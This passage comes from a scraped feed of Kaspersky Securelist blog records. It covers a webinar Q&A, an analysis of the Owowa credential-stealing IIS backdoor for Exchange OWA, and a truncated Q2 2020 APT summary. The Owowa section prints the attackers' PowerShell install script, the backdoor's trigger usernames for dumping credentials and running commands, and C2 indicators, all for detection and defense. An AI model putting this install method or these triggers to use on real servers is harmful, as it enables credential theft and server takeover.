PDM:Exploit.Win32.GenericAlso, Kaspersky products have vulnerability scanners that notify you about vulnerabilities in installed software, and we also [provide](<https://www.kaspersky.com/small-to-medium-business-security/downloads/systems-management>) a patch management solution for business environments that helps system administrators handle software updates for all computers and servers on the corporate network.\n 37. _How can a private DNS protect the Host System from attacks?_ \nWhile DNS is a key component of the Internet, disrupting DNS queries can impact a large portion of Internet users. We know for sure the people running DNS Root servers are professionals and know their job really well, so we are not worried that much about Root servers being disrupted. Unfortunately, attackers sometimes focus on specific DNS resolvers and manage to disrupt large portions of the Internet, as in the [2016 DDoS against the Dyn DNS resolver](<https://en.wikipedia.org/wiki/2016_Dyn_cyberattack>). Although it is limited in its use, a private DNS system can protect against large DDoS attacks, because it will be private and may be harder to reach by the attackers.\n\n## Advanced questions raised\n\nWe are not afraid of tough questions; therefore, we did not filter out the following ones.\n\n 38. _Where can we get one of those shirts Costin is wearing?_ \nWe are about to launch a GReAT merchandise shop soon \u2013 stay tuned.\n 39. _Who cut Jeff's hair?_ \nEdward Scissorhands. He's a real artist. Can recommend.\n 40. _Did Costin get a share from the outfits found in the green Lambert's house when it got raided?_ \nWe can neither confirm nor deny.\n 41. _Who is a better football team, Steelers or Ravens?_ \nFootball? Is that the game where they throw frisbees?\n\nWe hope you find these answers useful. The next series of the GReAT Ideas. Powered by SAS webinars, where we will share more of our insights and research, will take place on July 22. You can register for the event here: <https://kas.pr/gi-sec>\n\nAs we promised, some of the best questions asked during the webinar will be awarded with a prize from the GReAT Team. The winning questions are: \n"Are there any hacker for hire groups that are at the very top level? How many hackers-for-hire groups do you see? Are there any hacker for hire groups coming out of the west?" \n"Can you expand on how you identify a genotype and determine that it is unique?"\n\nWe will contact those who submitted these questions shortly.\n\nFeel free to follow us on Twitter and other social networks for updates, and feel free to reach out to us to discuss interesting topics.\n\nOn Twitter:\n\n * Costin Raiu: @craiu\n * Kurt Baumgartner: @k_sec\n * Denis Legezo: @legezo\n * Dan Demeter: @_xdanx\n * Marco Preuss: @marco_preuss\n * Yury Namestnikov: @SomeGoodOmens", "cvss3": {}, "published": "2020-07-15T10:00:13", "type": "securelist", "title": "GReAT Ideas follow-up", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2020-0688"], "modified": "2020-07-15T10:00:13", "id": "SECURELIST:F05591B26EFD622E6C72E180A7A47154", "href": "https://securelist.com/great-ideas-follow-up/97816/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-12-14T10:37:08", "description": "\n\nWhile looking for potentially malicious implants that targeted Microsoft Exchange servers, we identified a suspicious binary that had been submitted to a multiscanner service in late 2020. Analyzing the code, we determined that the previously unknown binary is an [IIS](<https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview>) module, aimed at stealing credentials and enabling remote command execution from [OWA](<https://docs.microsoft.com/en-us/Exchange/clients/outlook-on-the-web/outlook-on-the-web?view=exchserver-2019>). We named the malicious module 'Owowa', and identified several compromised servers located in Asia.\n\n## Meet Owowa, the IIS module you don't want\n\nOwowa is a C#-developed .NET v4.0 assembly that is intended to be loaded as a module within an IIS web server that also exposes Exchange's Outlook Web Access (OWA). When loaded this way, Owowa will steal credentials that are entered by any user in the OWA login page, and will allow a remote operator to run commands on the underlying server.\n\nThe malicious module was most likely compiled between late 2020 and April 2021. The assembly default "LegalCopyright" field shows "2020" as a date, and the most recent Owowa sample we could find was detected in April 2021 in our telemetry. The assembly contains a reference to a debugging database (PDB) in its "File" property, and its public key token is set to "b07504c8144c2a49".\n\nWe determined that Owowa is intended to be launched as an IIS module because the only relevant code is placed in the class ExtenderControlDesigner, which implements an IIS-specific interface ([IHttpModule](<https://docs.microsoft.com/en-us/previous-versions/aspnet/bb398986\\(v=vs.100\\)>)). Owowa is specifically designed to inspect HTTP requests and responses by hooking the PreSendRequestContent event. This event is supposedly raised when a web application of IIS is about to send content to the client (but according to Microsoft, such an event should never be used in an IHttpModule instance because it is likely to [cause an application or server crash](<https://docs.microsoft.com/en-us/dotnet/api/system.web.httpapplication.presendrequestcontent?view=netframework-4.0>)).\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13161817/Owowa_module_02.png>)\n\n**_Malicious HTTP module definition_**\n\nWe determined that Owowa is specifically targeting OWA applications of Exchange servers because its code is purposely ignoring requests from OWA-specific [monitoring of account names](<https://techcommunity.microsoft.com/t5/exchange-team-blog/exchange-2013-2016-monitoring-mailboxes/ba-p/611004>) that start with the HealthMailbox string.\n\nThe malicious module is actually designed to log credentials of users that successfully authenticated on the OWA authentication web page. Successful authentication is verified by checking that the OWA application is sending an authentication token back to the user. If that's the case, the username, password, user's IP address and current timestamp are stored in a file at C:\\Windows\\Temp\\af397ef28e484961ba48646a5d38cf54.db.ses. Data are encrypted using the RSA algorithm, with a [hardcoded public key stored as an XML blob](<https://docs.microsoft.com/en-us/dotnet/api/system.security.cryptography.rsa.toxmlstring?view=netframework-4.0#remarks>):\n \n \n <RSAKeyValue><Modulus>vTxV8wUJ0PoO2yu/Pm/aICbsT+nFwHXouNo623VIVMl6LY4R96a8cpMTHw92rs0foNcVJB8/SYQvL/6Ko9aOv1K3mm3Txa3Dfe6CmDjFb1wYoVJQ+wLksgd/MfMGXWK2rIuNTpUs1+UT1K+TNFSBAYTiiLAPczCmKkh6vcLO9iE=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>\n\nA malicious operator can interact with Owowa by entering specifically crafted commands within the username and password fields in the OWA authentication page of a compromised server. Owowa will respond to these commands through the IIS server, and display the results to the operator, instead of the expected OWA login error messages:\n\n * if the OWA username is jFuLIXpzRdateYHoVwMlfc, Owowa will return the encrypted credentials log, encoded in base64;\n * if the OWA username is Fb8v91c6tHiKsWzrulCeqO, the malicious module deletes the content of the encrypted credentials log, and returns the OK string (encrypted using RSA);\n * If the OWA username is dEUM3jZXaDiob8BrqSy2PQO1, Owowa executes the command that is typed in the OWA password field using PowerShell on the compromised server. The result of the command is encrypted (as previously described) and returned to the operator.\n\nOwowa contains an empty and unused additional assembly, stored as a compressed resource, as well as an additional AssemblyLoader class from a Costura namespace. These are most likely the result of using the [Fody](<https://github.com/Fody/Home/>) bytecode weaving tool and its [Costura](<https://github.com/Fody/Costura>) add-in from the build chain of Owowa's developer. Fody allows .NET developers to dynamically add features to assemblies at compilation time by weaving, or dynamically modifying the assembly bytecode. In particular, Costura is aimed at packaging dependencies, by adding these dependencies as compressed resources to the assembly. These Costura by-products could either be left-overs from the developer's build chain or an obfuscation attempt that is still being developed, since Owowa's malicious code could potentially be hidden as a compressed resource within a Costura-built assembly.\n\n## IIS modules management: loading, finding and getting rid of Owowa\n\nOwowa is loaded (for all compatible applications run by a given IIS server, including OWA) by the following PowerShell script:\n \n \n [System.Reflection.Assembly]::Load('System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a');\n $publish = New-Object System.EnterpriseServices.Internal.Publish;\n $name = (Get-Item PATH\\ExtenderControlDesigner.dll).FullName;\n $publish.GacInstall($name);\n $type = 'System.Web.Extensions.Resource.ExtenderControlDesigner,' + [System.Reflection.AssemblyName]::GetAssemblyName($name).FullName;\n Appcmd.exe add module /name:ExtenderControlDesigner /type:\"$type\"\n\nThe module is first registered in the global assembly cache, and can then be loaded by the IIS server that is running the OWA application. This setup technique is very reminiscent of one previously used by an unknown threat actor and [described by RSA](<https://community.rsa.com/t5/netwitness-blog/exchange-exploit-case-study-cve-2020-0688/ba-p/517916>) in March 2020 as part of an incident investigation that also involved malicious HTTP modules.\n\nMalicious IIS modules, and Owowa in particular, can be identified by using the command appcmd.exe or the IIS configuration tool, which lists all the loaded modules on a given IIS server instance:\n \n \n C:\\Windows\\System32\\inetsrv>appcmd.exe list modules | findstr ExtenderControl\n MODULE \"ExtenderControlDesigner\" ( type:System.Web.Extensions.Resource.ExtenderControlDesigner,ExtenderControlDesigner, Version=1.0.0.0, Culture=neutral, PublicKeyToken=b07504c8144c2a49, preCondition: )\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13161922/Owowa_module_06.png>)\n\n**_Malicious module in the IIS configuration manager_**\n\n## Owowa victims\n\nWe identified a cluster of targets in Asia with compromised servers in Malaysia, Mongolia, Indonesia and the Philippines. Most of them belong to government organizations, except for one that belongs to a government-owned transportation company.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162008/Owowa_module_07.png>)\n\n**_Geography of Owowa targets_**\n\nWhile we did not discover further compromised servers, we assess with medium to high confidence that additional organizations may also have been targeted in Europe, based on additional data that we provided to customers of our threat intelligence services and that we cannot publicly disclose.\n\n## Attribution\n\nWe couldn't find any link between Owowa and any known threat actor, due to insufficient data regarding Owowa's deployment. However, the developer behind Owowa failed to remove the PDB paths in the two identified samples, which both start with C:\\Users\\S3crt\\source\\repos\\ClassLibrary2\\, suggesting a specific username.\n\nSearching for potentially related resources, we identified a Keybase account sharing the same user name \u2013 s3crt \u2013 with the aforementioned PDB paths. Notably, it shares offensive tools, such as Cobalt Strike and Core Impact:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162053/Owowa_module_05.png>)\n\n**_s3crt Keybase account_**\n\nThe same username also exists as an account on RAID Forums, demonstrating an interest in Core Impact, a popular penetration testing software suite:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13161718/Owowa_module_01.png>)\n\n| \n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162313/Owowa_module_03.png>) \n \n---|--- \n \n**_s3crt RAID Forums account_**\n\nFinally, we identified a blog profile on CSDN displaying both the s3crt and z7ys as usernames (the blog title is "z7ys'_s3crt_CSDN\u535a\u5ba2-XSS\u9886\u57df\u535a\u4e3b"). The user shows an interest in hacking techniques and distributes files that supposedly contain leaked Cobalt Strike source code, dating to November 2018:\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/13162347/Owowa_module_04.png>)\n\n**_s3crt CSDN account[1]_**\n\nLeveraging these clues, the PDB paths and corresponding username, we identified several additional malicious binary files that may have been developed or packaged by the same developer:\n\n * A binary loader (MD5: [D4BDFB90D9AA6D573F3FF3A755E2E630](<https://opentip.kaspersky.com/D4BDFB90D9AA6D573F3FF3A755E2E630/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)) containing a PDB path that shares a common root with Owowa's: C:\\Users\\S3crt\\source\\repos\\Shellcode_inject\\Release\\artifact32.pdb.\n\nThis binary was submitted to a multiscanner service in September 2021, but was first spotted in the wild in August 2020. It is designed to decode (XOR) and execute an embedded shellcode. The shellcode was downloading a malicious payload from the IP 150.109.111[.]208 in August 2020. The server was not serving such a payload at the time of our investigation, though based on our telemetry we assume with high confidence it was related to Cobalt Strike;\n\n * We identified another similar binary loader (MD5: [3C5654DDD7998AE39717F7E3D079BD93](<https://opentip.kaspersky.com/3C5654DDD7998AE39717F7E3D079BD93/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)), first spotted in August 2020, that supposedly also loaded a Cobalt Strike-like payload from 150.109.111[.]208 in August 2020;\n\n * Finally, we identified an additional binary loader (MD5: [3](<https://opentip.kaspersky.com/3DB7101794CB166CA672814728F4E8D7/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)[DB7101794CB166CA672814728F4E8D7](<https://opentip.kaspersky.com/3DB7101794CB166CA672814728F4E8D7/?utm_source=SL&utm_medium=SL&utm_campaign=SL>)) that was detected in March 2021 connecting to the domain s3crt[.]biz that also triggered execution of Cobalt Strike payloads. The loader's PDB is C:\\Users\\Administrator\\source\\repos\\Artifact\\x64\\Aritfact_big\\Artifact.pdb, which is similar in structure to those involving s3crt.\n\nIt should be noted that the s3crt username is a simple derivation of the English word "secret" and could very well be used by multiple individuals. Hence, we cannot be certain that the identified accounts and files are actually linked to the developer of Owowa or related to each other. However, the combination of corresponding usernames, PDB paths, projects names and interests in malicious tools or tactics are notable.\n\n## Conclusion\n\nThe malicious module described in this post represents an effective option for attackers to gain a strong foothold in targeted networks by persisting inside an Exchange server. For malicious operators there are several benefits:\n\n * An IIS module stays persistent on a compromised system even to a Exchange software update;\n * Malicious capabilities can easily be triggered by directly sending seemingly innocuous requests to exposed web services - in this case, authentication requests to OWA. Malicious requests like this can be difficult to detect with network monitoring;\n * IIS modules are not a common format for backdoors, especially when compared to typical web application threats like web shells and can therefore easily be missed during standard file monitoring efforts;\n * The attacker can leverage the module to passively steal credentials from users that legitimately access web services, which presents a stealthier alternative to sending phishing emails.\n\nUnfortunately, we were unable to retrieve enough data to associate the discovered malicious module with any infection chain or post-infection activities. Earlier this year, the ProxyLogon vulnerabilities demonstrated the impact of Exchange server compromise, as well as how quickly threat actors are able to jump on the bandwagon to leverage critical flaws and pursue their goals. It's possible that malicious operators leveraged these server vulnerabilities to initially deploy Owowa.\n\nWhile showing creativity in Owowa's development, the creator ignored explicit warnings from Microsoft regarding several risky development practices for HTTP modules, which may result in server crashes. Moreover, sensitive information on the development environment (PDB paths, Fody by-products) remained in publicly available samples. Further samples or online profiles can be weakly linked to this kind of information.\n\nThe operators behind Owowa demonstrated an interest in government organizations in Asia and specifically South-East Asia. Such targeting may fit a threat actor seeking to gather intelligence on ASEAN's agenda and member states' foreign policies. However, the practices exhibited by what is likely an inexperienced developer don't appear to correspond with such strategic targeting.\n\n## Indicators of Compromise\n\n**Owowa:** \naf6507e03e032294822e4157134c9909 \nea26bed30da01f5d81c3d96af59424acf2fbb14b \n8e1e0ddeb249b9f8331b1562498d2cbd9138ec5e00c55a521d489e65b7ef447d\n\n**Possibly related malicious loaders:** \nd4bdfb90d9aa6d573f3ff3a755e2e630 \n2e5a752f8d1c3b0ba819381c4539006d40692ee9 \ndac4c2e5318bf0feca535b2116bd48e72d8f36ff7ec8f3bd176fd7e57bd37fc1\n\n3c5654ddd7998ae39717f7e3d079bd93 \n8429a32acfed3f010502a5b88199cc0367f92fd7 \n54fecd3227a435c17463f543eacdb7482fc7b2fde4db1d12d16aab94dfdf4085\n\n3db7101794cb166ca672814728f4e8d7 \nf8b5d7370b56e127449760701b97bf8f43d16852 \nf167279c692a14fee15bb1f8eb8a9b6edd43cf74d2b590b27129fd69e6b3de88\n\n**PDB Paths:** \nC:\\Users\\S3crt\\source\\repos\\ClassLibrary2\\obj\\Release\\ExtenderControlDesigner.pdb \nC:\\Users\\S3crt\\source\\repos\\ClassLibrary2\\obj\\Release\\ClassLibrary2.pdb \nC:\\Users\\S3crt\\source\\repos\\Shellcode_inject\\Release\\artifact32.pdb \nC:\\Users\\Administrator\\source\\repos\\Artifact\\x64\\Aritfact_big\\Artifact.pdb\n\n**Possibly related Cobalt Strike C2:** \n150.109.111[.]208\n\n**Possibly related suspicious domain:** \ns3crt[.]biz\n\n[1] Note that the picture used in the profile is of a martial art practitioner and is unrelated.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-14T10:00:39", "type": "securelist", "title": "Owowa: the add-on that turns your OWA into a credential stealer and remote access panel", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2021-12-14T10:00:39", "id": "SECURELIST:67C82A057DBE22C60DC2677D52D52ECD", "href": "https://securelist.com/owowa-credential-stealer-and-remote-access/105219/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-08-07T08:03:43", "description": "\n\nFor more than three years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They are designed to highlight the significant events and findings that we feel people should be aware of.\n\nThis is our latest installment, focusing on activities that we observed during Q2 2020.\n\nReaders who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact '[intelreports@kaspersky.com](<mailto:intelreports@kaspersky.com>)'.\n\n## **The most remarkable findings**\n\nOn May 11, the UK-based supercomputing center, ARCHER, announced that it would shut down access to its network while it investigated a security incident. The website stated that the "ARCHER facility is based around a Cray XC30 supercomputer (with 4920 nodes) that provides the central computational resource". At the same time, the German-based bwHPC also announced a security incident and decided to restrict access to its resources. The Swiss National Supercomputing Centre, at the time involved in a project to study the small membrane protein of the coronavirus, confirmed that it, and other European high-performance computer facilities, had been attacked and that it had temporarily closed. On May 15, the EGI Computer Security and Incident Response Team (EGI-CSIRT) published an alert covering two incidents that, according to its report, may or may not be related. Both incidents describe the targeting of academic data centers for "CPU mining purposes". The alert includes a number of IoCs, which complement other OSINT (open-source intelligence) observations. Although we weren't able to establish with a high degree of certitude that the ARCHER hack and the incidents described by EGI-CSIRT are related, we suspect they might be. Some media speculated that all these attacks might be related to COVID-19 research being carried out at the supercomputing centers.\n\nInterestingly, last July 16th 2020, NCSC [published](<https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development.pdf>) an advisory describing malicious activity targeting institutions related to research to find a vaccine for COVID-19. In this case, the malware used in the attacks belongs to a family called WellMess, as [originally described](<https://www.lac.co.jp/lacwatch/pdf/20180614_cecreport_vol3.pdf>) by LAC Co back in 2018. Until recently, this malware was not believed to be related to any APT activity. Surprisingly, NCSC attributes this activity to the APT-29 threat actor. However, it does not provide any public proof.\n\nFrom our own research, we can confirm that WellMess's activity seems to follow a cycle, being used in campaigns every three months or so since its discovery. We observed a peak of activity in fall of 2019, followed by an increase in the number of C2s in February 2020. We also observed high-profile targeting, including telcos, government and contractors in MENA and the EU. However, from our side we cannot confirm attribution or targeting of health institutions at the moment.\n\nFor more details about WellMess, you can check our presentation from GReAT ideas here: <https://youtu.be/xeTYLRCwnFo>\n\n## **Russian-speaking activity**\n\nIn May, researchers at Leonardo published a report about "Penquin_x64", a previously undocumented variant of Turla's Penquin GNU/Linux backdoor. Kaspersky has publicly documented the Penquin family, tracing it back to its Unix ancestors in the Moonlight Maze operation of the 1990s. We followed up on this latest research by generating network probes that detect Penquin_x64 infected hosts at scale, allowing us to discover that tens of internet hoster's servers in Europe and the US are still compromised today. We think it's possible that, following public disclosure of Turla's GNU/Linux tools, the Turla threat actor may have been repurposing Penquin to conduct operations other than traditional intelligence.\n\nIn June, we discovered two different domain names, "emro-who[.]in" and "emro-who[.]org", typo-squatting the World Health Organization (WHO) Regional Office for the Eastern Mediterranean (EMRO). These domains, registered on June 21 using the Njalla.no registrar, seem to be used as sender domains for a spear-phishing campaign. This type of typo-squatting is reminiscent of Sofacy campaigns against other international organizations. Moreover, we have seen Njalla.no recently used to register SPLM and XTUNNEL C2 (command-and-control) servers and we have seen this autonomous system used by Sofacy in the past for a SPLM C2.\n\nHades is an elusive, highly dynamic threat actor that commonly engages in tailored hacking and special access operations, such as the [OlympicDestroyer](<https://securelist.com/olympicdestroyer-is-here-to-trick-the-industry/84295/>) attack or the [ExPetr](<https://securelist.com/schroedingers-petya/78870/>) (aka NotPetya) and Badrabbit attacks. On May 28, the US National Security Agency (NSA) [published an alert](<https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/2196511/exim-mail-transfer-agent-actively-exploited-by-russian-gru-cyber-actors/>) detailing the use by Hades of an Exim vulnerability (CVE-2019-10149) for what appears to be a potentially large hacking operation designed for mass access. Our own report expanded on the scripts used in this operation, as well as providing other IoCs that we discovered.\n\n## **Chinese-speaking activity**\n\nIn late 2019, and again in March this year, we described ongoing malicious activities from a previously unknown threat actor that we named [Holy Water](<https://securelist.com/holy-water-ongoing-targeted-water-holing-attack-in-asia/96311/>). Holy Water notably leveraged a Go language and Google Drive-command-driven implant that we dubbed Godlike12. Following the publication of our report, and notifications to relevant incident response organizations, new Holy Water samples were submitted to VirusTotal. The newly discovered samples include Telegram-controlled and open-source-based Python implants that were probably deployed on the victim's networks after a successful intrusion.\n\nIn March, one of our YARA rules from previous research on ShadowPad attacks detected a recently compiled executable file uploaded to VirusTotal. Later we found a few other samples from our own telemetry. ShadowPad is a modular attack platform consisting of a root module and various plugin modules responsible for diverse functionalities. ShadowPad was first discovered by Kaspersky in 2017. In August of that year, one of our customers detected suspicious network activities. After thorough investigation, we found a legitimate software module that had been compromised and backdoored by an advanced threat actor in a sophisticated software supply-chain attack. We notified the software vendor and also [published the outcome of our investigations in a technical white paper](<https://securelist.com/shadowpad-in-corporate-networks/81432/>). Since then, ShadowPad malware has been deployed in a number of major cyberattacks, with a different subset of plugins used in different attack cases: the CCleaner incident in 2017 and the [ShadowHammer ](<https://securelist.com/operation-shadowhammer/89992/>)attacks in 2018 are the major examples of such attacks.\n\nWhen analyzing new samples from ShadowPad malware, compiled and used in attacks since late 2019, our investigation revealed a strong connection between these recent ShadowPad malware samples and the CactusPete threat actor. CactusPete started deploying ShadowPad malware to a few victims at the beginning of 2019 through its HighProof backdoor. However, since late 2019, ShadowPad has been commonly used in CactusPete attacks.\n\nThis quarter, we described another CactusPete attack campaign which started in December 2019 In this campaign, the CactusPete threat actor used a new method to drop an updated version of the DoubleT backdoor onto the computers. The attackers implanted a new dropper module in the Microsoft Word Startup directory, most likely through a malicious document. This malicious dropper is responsible for dropping and executing a new version of the DoubleT backdoor, which utilizes a new method of encrypting the C2 server address.\n\nWhile analysing compromised machines in Central Asia, we revealed an additional infection that was unrelated to the initial subject of our investigation. This led us to detect previously unknown malware that we dubbed B&W, which provides an attacker with the capabilities to remotely control a victim's machine. Further analysis of the samples, infrastructure and other related artefacts allowed us to conclude, with medium confidence, that the newly found malware is related to the SixLittleMonkeys APT. This group is known to have been active for several years, targeting government entities in Central Asia.\n\nHoneyMyte is an APT threat actor that we have been tracking for several years. In February, our fellow researchers at Avira blogged about HoneyMyte PlugX variants that they had recently observed targeting Hong Kong. PlugX has been used by multiple APT groups over the past decade, especially shared among Chinese-speaking threat actors, and has changed in many ways. Avira\u00b4s post covers the PlugX loader and backdoor payload, including its USB capabilities. In May, we published an update on this threat actor, specifically providing timely indicators to aid in threat hunting for some of the PlugX variants found in the wild between January and May this year.\n\nIn May, we discovered a watering hole on the website of a Southeast Asian top official. This watering hole, set up in March, seemed to leverage whitelisting and social engineering techniques to infect its targets. The final payload was a simple ZIP archive containing a readme file prompting the victim to execute a CobaltStrike implant. The mechanism used to execute CobaltStrike was DLL side-loading, which decrypted and executed a CobaltStrike stager shellcode. Analysis of the code, the infrastructure and the victimology led us to attribute this watering-hole, with high confidence, to the HoneyMyte APT threat actor.\n\nQuarian is a little-known malicious program that Chinese-speaking actors have used since around 2012. We hadn't spotted any further activity until we observed a resurgence in an attack by the Icefog group in 2019. We tracked the activity of the malware following this and noticed a new variant that was used during several attacks on Middle Eastern and African governments during 2020. In one case, we could see that this variant was deployed following exploitation of the CVE-2020-0688 vulnerability on the network of a government entity. This vulnerability, which was publicly reported in February 2020, allows an authenticated user to run commands as SYSTEM on a Microsoft Exchange server. In this case, the server was indeed compromised and was hosting the ChinaChopper webshell, which was used to obtain, and later launch, the Quarian and PlugX backdoors. Our analysis led us to assume, with medium to high confidence, that the group behind these attacks is one we track under the name CloudComputating - a Chinese-speaking actor that, based on previous reports, has targeted high-profile Middle Eastern diplomatic targets.\n\nIn March, researchers at Check Point Research published a [report](<https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/>) describing an APT campaign that targeted Mongolia's public sector and leveraged a coronavirus-themed lure to conduct its initial intrusion. We were able to discover further samples and another COVID-themed document with the same targeting, as well as additional targets in Russia. We attribute this activity with medium confidence to IronHusky.\n\n## **Middle East**\n\nThe MuddyWater APT was discovered in 2017 and has been active in the Middle East ever since. In 2019, we reported activity against telecoms providers in Iraq and Iran, as well as government bodies in Lebanon. We recently discovered MuddyWater using a new C++ toolchain in a new wave of attacks in which the actor leveraged an open-source utility called Secure Socket Funneling for lateral movement.\n\nAt the end of May, we observed that Oilrig had included the DNSExfitrator tool in its toolset. It allows the threat actor to use the DNS over HTTPS (DoH) protocol. Use of the DNS protocol for malware communications is a technique that Oilrig has been using for a long time. The difference between DNS- and DoH-based requests is that, instead of plain text requests to port 53, they would use port 443 in encrypted packets. Oilrig added the publicly available DNSExfiltrator tool to its arsenal, which allows DoH queries to Google and Cloudflare services. This time, the operators decided to use subdomains of a COVID-related domain which are hardcoded in the DNSExfitrator detected samples.\n\n## **South\u0435ast Asia and Korean Peninsula**\n\nBlueNoroff is one of the most prolific financially motivated APT actors and we have published several reports of BlueNoroff campaigns targeting financial institutions. Recently, we uncovered another campaign that has been active since at least 2017. In this campaign, the group sends spear-phishing emails containing an archived Windows shortcut file. The file names are disguised as security or cryptocurrency related files in order to entice users into executing them. The infection chain started from this shortcut file is a complex multi-stage infection procedure. Before delivering the Windows executable payload, the actor uses two VBS and three PowerShell scripts in order to collect system information. The actor very carefully delivers the final payload only to the intended targets. The backdoor payload also utilizes a multi-stage infection procedure. The actor uses it to control infected hosts and implants additional malware for surveillance. These malicious programs are responsible for stealing the user's keystrokes and saving a screenshot of the infected machine. The main targets of this campaign are financial institutions, such as cryptocurrency businesses, and fintech companies. We identified diverse victims from 10 countries, as well as more potential victims from open source intelligence.\n\nThe Lazarus group has been a major threat actor for several years. Alongside goals like cyber-espionage and cyber-sabotage, this threat actor has targeted banks and other financial companies around the globe. The group continues to be very active. We recently observed the Lazarus group attacking a software vendor in South Korea using Bookcode, malware that we evaluate to be a Manuscrypt variant, utilizing a watering-hole attack to deliver it. Manuscrypt is one of the Lazarus group's tools that is actively being updated and used. The group attacked the same victim twice. Almost a year prior to compromising this victim, Lazarus attempted to infect it by masquerading as a well-known security tool, but failed. We were able to construct the group's post-exploitation activity, identifying various freeware and red-teaming tools used. Although Lazarus has recently tended to focus more on targeting the financial industry, we believe that in this campaign they were seeking to exfiltrate intellectual property. We also observed that they previously spread Bookcode using a decoy document related to a company working in the defense sector. Based on our observations, we evaluate that the Bookcode malware is being used exclusively for cyber-espionage campaigns.\n\nIn April, we released an early warning about the VHD ransomware, which was first spotted in late March. This ransomware stood out because of its self-replication method. The use of a spreading utility compiled with victim-specific credentials was reminiscent of APT campaigns, but at the time we were unable to link the attack to an existing group. However, Kaspersky was able to identify an incident in which the VHD ransomware was deployed, in close conjunction with known Lazarus tools, against businesses in France and Asia. This indicates that Lazarus is behind the VHD ransomware campaigns that have been documented so far. As far as we know, this is also the first time it has been established that the Lazarus group has resorted to targeted ransomware attacks for financial gain.\n\nLast year we created a private report on a malware framework that we named MATA, which we attribute, with low confidence, to the Lazarus group. This framework included several components, such as a loader, orchestrator and plug-ins. Initially, this framework targeted Windows and Linux. However, in April we discovered a suspicious macOS file uploaded to VirusTotal using a rule to detect the MATA malware framework. After looking into this malware, we confirmed that it was a macOS variant of the MATA malware. The malware developers Trojanized an open-source two-factor authentication application and utilized another open-source application template. While investigating, to find more solid evidence for attribution, we found an old Manuscrypt strain that used a similar configuration structure. We also discovered a cluster of C2 servers probably related to this campaign.\n\nThe MATA framework was not the only way that Lazarus targeted macOS. We also observed a cluster of activity linked to [Operation ](<https://securelist.com/operation-applejeus-sequel/95596/>)[AppleJeus](<https://securelist.com/operation-applejeus-sequel/95596/>). The other was similar to the macOS malware used in a campaign that we call TangDaiwbo. This is a multi-platform cryptocurrency exchange campaign: Lazarus utilizes macro-embedded Office documents and spreads PowerShell or macOS malware, depending on the victim's system.\n\nEarly this year, we reported improvements in a Lazarus campaign targeting a cryptocurrency business. In this campaign, Lazarus adopted a downloader that sends compromised host information and selectively fetches the next-stage payload. Recently, we identified a Lazarus campaign with similar strategies, but targeting academic and automotive sectors. Lazarus also adopted new methods to deliver its tools. First of all, the group elaborated its weaponized document by adopting remote template injection techniques. Previously, Lazarus delivered macro-embedded documents to the victim, but the group has now applied one more stage to hinder detection. The group also utilized an open-source PDF reader named Sumatra PDF to make Trojanized applications. They created a Trojanized PDF reader, sending it to the victim with a crafted PDF file. If the victim opens this file, the Trojanised PDF viewer implants malicious files and shows decoy documents to deceive the victim. The actor delivers the final payload very carefully, and executes it in memory. Fortunately, we were able to get the final payload and confirm that it was a Manuscrypt variant that we had already described. We also found that it's the same malware variant that the US CISA (Cybersecurity and Infrastructure Security Agency) recently reported, named COPPERHEDGE.\n\nFollowing our report describing the long-standing [PhantomLance](<https://securelist.com/apt-phantomlance/96772/>) campaign in Southeast Asia, we published a private report providing detailed attribution based on discovered overlaps with reported campaigns of the OceanLotus APT. In particular, we found multiple code similarities with the previous Android campaign, as well as similarities in macOS backdoors, infrastructure overlap with Windows backdoors and a couple of cross-platform resemblances. Based on our research, we believe, with medium confidence, that PhantomLance is a modern Android campaign conducted by OceanLotus. Apart from the attribution details, we described the actor's spreading strategy using techniques to bypass app market filters. We also provided additional details about samples associated with previously reported suspected infrastructure, as well as the latest sample deployed in 2020 that uses Firebase to decrypt its payload.\n\nAdditionally, OceanLotus has been using new variants of its multi-stage loader since the 